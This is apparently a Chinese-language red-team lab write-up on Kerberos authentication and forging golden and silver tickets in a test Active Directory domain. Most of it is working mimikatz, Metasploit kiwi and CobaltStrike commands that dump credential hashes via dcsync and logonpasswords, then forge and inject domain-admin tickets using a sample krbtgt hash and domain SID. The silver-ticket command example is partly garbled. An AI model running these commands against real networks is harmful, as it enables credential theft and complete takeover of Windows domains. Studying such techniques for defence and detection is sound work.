內網滲透|Kerberos認證和黃金票據
Kerberos認證
介紹
Kerberos是一種計算機網絡授權協議,用來在非安全網絡中,對個人通信以安全的手段進行身份認證。
這個詞又指麻省理工學院為這個協議開發的一套計算機軟件。
認證流程
提示:
AS(Authentication Server) 認證服務器
KDC(Key Distribution Center) 密鑰分發中心
TGT(Ticket Granting Ticket) 票據授權票據(票據的票據)
TGS(Ticket Granting Server) 票據授權服務器
ACL(Access Control Lists) 訪問控制列表
DC(Domain Controller) 域控制器
AD(Active Directory) 活動目錄
Client 客戶端
Server 服務端
詳細流程圖

黃金票據
原理
在Kerberos認證中,Client通過AS(身份認證服務)認證后,AS會給Client一個 Logon Session Key和TGT,而Logon Session Key并不會保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以偽造TGT和Logon Session Key來進入下一步Client與TGS的交互。而已有了金票后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
票據條件:
- 域名稱
- 域的 SID 值
- 域的 KRBTGT 賬號的 HASH
- 偽造D的任意用戶名
實驗環境
機器:
12server4
AD01
域名:
redteam.club
Mimikatz
12server4上操作
信息收集
前提域管權限
#導出hashprivilege::debuglsadump::dcsync /domain:redteam.club /all /csv(lsadump::lsa /inject)##一條命令mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "exit">hash.txt



制作
#制作黃金票據mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /ticket:ticket.kirbi" exit

導入
#清除票據kerberos::purge#導入票據kerberos::ptt C:\Users\ticket.kirbi

Metasploit
12server4上操作
system權限信息收集
#信息收集load kiwi #導入kiwi模塊 ##提示:以下需要system權限creds_all #列舉所有憑據creds_kerberos #列舉所有kerberos憑據kiwi_cmd sekurlsa::logonpasswords #抓密碼和hash



域管權限信息收集
#信息收集(需要域管權限)kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt" #krbtgt賬戶的密碼hash值kerberos_ticket_list #列舉kerberos票據 kerberos_ticket_purge #清除kerberos票據


制作及導入
#制作金票golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket#導入金票kerberos_ticket_use /home/kali/administrator.ticket

CobaltStrike
AD01上操作
注意
在使用CobaltStrike4.7時,只有在AD上才能抓取到krbtgt的hash,二前兩個有域管權限就可以
希望可以得到師傅們的指點
12server4:12server4\administrator和redteam\administrator均不成功


AD01:redteam\administrator成功抓取

流程
1.抓取hash


2.shell whoami /all

3.制作金票



白銀票據
原理
白銀票據就是偽造的ST。在Kerberos認證的第三部,Client帶著ST和Authenticator3向Server上的某個服務進行請求,Server接收到Client的請求之后,通過自己的Master Key 解密ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對方的身份,驗證成功就讓 Client 訪問server上的指定服務了。所以我們只需要知道Server用戶的Hash就可以偽造出一個ST,且不會經過KDC,但是偽造的門票只對部分服務起作用。
票據條件:
- 域名
- 域 SID(就是域成員SID值去掉最后的)
- 目標服務器的 FQDN
- 可利用的服務
- 服務賬號的 NTLM Hash
- 需要偽造的用戶名

這里就制作一個
mimikatz
12server4上操作
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
cifs
#命令格式kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標服務器主機名> /service:<服務類型> /rc4: /user:<偽造的用戶名> /ptt#示例kerberos::golden /domain/target:OWA2010CN-God.god.org /rc4:689fe33346a9e9fe229395fb36178ecb /service:cifs /user:admin /ptt
